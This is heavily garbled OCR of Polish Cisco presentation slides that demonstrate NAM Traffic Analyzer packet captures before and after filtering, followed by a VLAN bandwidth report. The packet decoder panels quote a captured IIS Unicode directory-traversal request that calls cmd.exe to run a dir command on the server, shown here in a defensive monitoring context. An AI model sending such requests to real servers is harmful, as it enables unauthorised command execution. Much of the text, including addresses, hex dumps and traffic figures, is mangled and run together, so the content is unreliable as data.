Analiza ruchu ‘przed’ i ‘po’ przejsciu przez CPD

Cisco SysTems

NAM Traffic Analyzer

| 3 Nam -

Gisco SYSTEMS

Packet Decoder, - HAM Traffic Analyzer - Microsoft Internet Explore
NAM Traffic Analyzer

. Packet Decoder - RSPAH_DoS ? . Packet Decoder - v205_[oS
Packets: 1-146 of 15 | Prev | Hext |1DD|:| Goto |1 Packets: 1-8cof 9 | Prev | Hext |1|:|D|:| Goto ||_
Pkt |T:i.m3|[s}|Size| Source | Destination | Protocol | Pkt |T:i.|Te|[5}|Size| Source | Destination | Protoc
1 0000 BE12.20145104 12.2048105 TCP 334 1 0.000 BE 122015104 12.2048.104 TCP
2 3,289 GE1220145104 12.208108 TCP 334! 2 0.003 GE 12205105 12.20145.105 TCP
3 9514 BB 122015105 12.20.5.105 TCP 254 3 0003 F412.20.15.105 12.20.5.105 TCP
4 | 705688 BB 122015105 12.20.5.105 CcP Pl 4 | 2zorrl 4a6li220.05 10 12206 10! HTTP
5 | 205691 BB 12205105 12.20.15.1058 TCP a0 = 5 23020 291 12.20.5.105 12.20.15.105 HTTP
i 205,691 641220145104 12.20481048 TCP 3341 6 23035 38912205104 12201451048 HTTP
T 208691 4961220145105 12.2081048 HTTP GET Fi 230358 h4 122015105 12.2048.1048 TCP
] 208924 496122015105 12204104 HTTP GET 8 23.0358 64122015105 122048104 TCP
0 406 122015105 12205105 HTTP GET L] 23035 64122051045 1220148105 TCP
| a98l122095905  [92205905  [HTTP =
291 12.20.5.105 122015105 EEE HTT Packet Mumber: 4 - Time: Oct 13, 2005 05:34:42.490 - Packet Lenath: 496 bt
12 228734 38912205105 12.20.15.105 o, Con Wl . ETH  Ethernet |l Src: 00:05:57e5:64:00, Dst 00:0c:29:ef-ab:a5
13 228724 F4/12.20145104 122048104 o 3841 L VLAN 50710 Virtual LAN
14| 728774 B4122015108 12205105 o B gl L p Internet Pratocol, Sre Addr: 12.20.15.105 (12.20.15.105), Dst Addr. 12.20
14 228704 B4l12.20.5104 122015104 Bl > + TCP Transmission Contral Protocol, Src Port: 3846 (3846, Dst Port: 80 (800,
- HTTP  Hypertext Transfer Protocol
HTTP i i 7 iF+
Packet Number: 10 - Time: Oct13, 2005 05:34:42.400 - Packet Lenath: 496 btes - C: GET fseriptel. Selhar winntisystem3aiemd sxe?ieedire el HTTRI 1L
P, S HTTP Reguest Method: GET
+ ETH Ethernet I, Src: 00:05:4Te5:64:00, Dst: 00:0c:29:26:akh:a5 HTTP ) ) ) g o
+ VLAN 8021 Virtual LAN s RequestURI..IscrlptSI..%cD%af..IWmntl’svstem32icmd.exe die+dir+e:
L P Internet Protocal, Src Addr; 12.20.15.105 (12.20.15.105), Dst Addr; 12.20.5.105 (1 HTTP AC?:S;‘EJF;%EG'D”'HWP”j
+ TCP Transmission Contral Protocal, Src Port 3846 (3846, Dst Port: 80 (800, Sea: 170 s
- HTTP  Hypertext Transfer Protocol 0000 00 Oc 29 e6 &b a5 00 05 5f 5 64 00 81 00 00 od e
HTTP GETIscrimSI..%cD%af..Minntl'svstemSQIcmd.exe'?fc+dir+c:'t HTTFM 1N 0010 08 00 45 00 01 de 5f cod 40 00 7€ 06 6d 53 0Oc 14 CE. ..
|DDDD 00 Oc 29 e6 ab a5 00 05 5F 5 §4 00 81 00 01 2Zc leeen .d.. bDz0 Of 63 Oc 14 05 63 OF 06 00 50 65 3b 2b 73 2b 83 EREREEE
0030 ac c3 50 18 fa £0 5F hf 00 00 47 45 54 20 2F 73 P,

Close

Close

Przegladarka wysyla osiem zapytan — docieraja tylko cztery...




Ocena zapotrzebowania na pasmo

Istotne dla planowania urzadzen inline

Wiheekly W

Hourly
2-Hour

Cisco SysTems

NAM Traffic Analyzer

Report generated: Mon 1.3 Mar 2006, 04:25:45 UTC

Craily
F3Da

B

b onthl

Weekly Report: Tue 07 Mar 2006 - Tue 14 Mar 2006

I { Gata Mar v 7 |(E8) [ bl

Period: Wieekly W

Granularity: Tday |w

Shiowy:

Top 10 »
All Selection

B conversation
A Host

2] Responze Time
[ Switch Part
LA vLAN

LAE] Top wLans
T1[E] wLan 300
12 wLam so7
1S wean 308
1[E] wean a2

Date and Time Top YLAHs bytes/sec
Mar 07 2006 WLAN 20 — TET M
WLAN 07— 167 M

VLAN 205 e— 196 b

WLAN 07— 146 M

wLAN D05 m 240 1

VLAN 2 Sk

WLAN 105 m 1R 1

WLAN 201 m 1738 K

wlat 200 m 1735 1

har 03 2006 AN 5 — 270 M
WLAN 207 e— 138 b

WLAN 202 — 1735 p

AN B0 — 1724 b

AN 10} e— 157 m

WLAN 07— 1710 b

WLAN 305 m— 1704 b

VLAN 22 1ad.Ea K

VLAN 5 eo— 183 M

WLAN 207 — 1°B0 b

WLAN 207 — 4°50 b

WLAN 207 m 23ET K

WwLAN 305 m 2862 K

WLAN 005 m 443 K

VLAN 5 eo— 170 M

iy 10 A0 LAN 05— 167 b
AN 200 — 1 Bk b

WLAN 40 m— 21001 K

WLAN 102 mmm TE0.7S I

WLAN 20 m 41109 K

WLAN 202 m 2525 K

WLAN 307 m F470 K

WLAN D05 m A52 K

Tday | »
B minz
15 mins
30 mins
1 howr
4 hr

3 hrz
12 hrg

Top bl »
Topl

Top 3
Toph
Top10

TDE 20




Gdzie szukac wiecej informacji?

 Cisco BRDC

http://www.cisco.com/qo/brdc

* Rozwigzania bezpieczenstwa Cisco

http://www.cisco.com/go/security
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